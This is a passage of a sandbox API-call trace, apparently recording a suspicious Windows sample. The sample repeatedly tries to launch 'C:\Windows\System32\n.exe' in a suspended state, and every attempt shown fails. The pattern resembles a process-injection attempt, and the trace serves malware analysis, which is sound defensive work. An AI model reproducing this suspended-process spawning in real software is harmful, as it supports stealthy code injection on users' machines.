hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c5ec | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c5ec*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0156.895] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0156.895] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0157.284] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c378, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0157.284] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c320*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c5a4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c5a4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0157.284] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0157.285] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0157.615] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c330, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0157.615] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c2d8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c55c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c55c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0157.616] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0157.616] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0157.931] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c2e8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0157.931] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c290*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c514 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c514*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0157.931] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0157.932] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0158.561] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c2a0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0158.561] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c248*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c4cc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c4cc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0158.561] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0158.562] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0159.157] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c258, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0159.157] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c200*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c484 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c484*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0159.158] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0159.158] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0160.257] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c210, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0160.257] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c1b8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c43c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c43c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0160.258] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0160.258] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0161.194] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c1c8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0161.194] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c170*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c3f4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c3f4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0161.195] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0161.195] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0162.280] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c180, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0162.280] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c128*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c3ac | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c3ac*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0162.281] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0162.281] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0163.270] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c138, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0163.270] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c0e0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c364 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c364*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0163.271] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0163.271] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0164.183] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0164.322] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c098*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c31c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c31c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0164.323] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0164.323] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0165.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c0a8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0165.502] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c050*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c2d4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c2d4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0165.502] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0165.503] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0166.735] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c060, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0166.735] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c008*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c28c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c28c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0166.735] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0166.736] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0167.773] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c018, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0167.773] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bfc0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c244 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c244*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0167.773] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0167.774] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0169.080] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bfd0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0169.080] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bf78*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c1fc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c1fc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0169.081] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0169.081] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0169.373] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bf88, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0169.373] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bf30*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c1b4 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c1b4*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0169.373] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0169.374] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0169.688] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bf40, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0169.688] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bee8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c16c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c16c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0169.689] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0169.689] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0169.967] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bef8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0169.967] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bea0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c124 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c124*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0169.968] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0169.968] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0170.278] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18beb0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0170.278] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18be58*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c0dc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c0dc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0170.279] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0170.279] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0170.567] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18be68, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0170.567] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18be10*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c094 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c094*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0170.568] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0170.568] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0170.873] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18be20, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0170.873] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bdc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c04c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c04c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0170.874] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0170.874] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0171.199] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bdd8, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0171.199] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bd80*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18c004 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18c004*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0171.199] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0171.200] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0172.042] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0172.042] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bfbc | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bfbc*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0172.043] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0172.044] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0173.697] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bd48, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0173.697] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bcf0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bf74 | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bf74*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0173.698] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0173.699] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0175.236] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bd00, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe")) returned 0x19 [0175.236] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bca8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bf2c | out: lpCommandLine="C:\\Windows\\System32\\n.exe", lpProcessInformation=0x18bf2c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0175.237] GetModuleHandleA 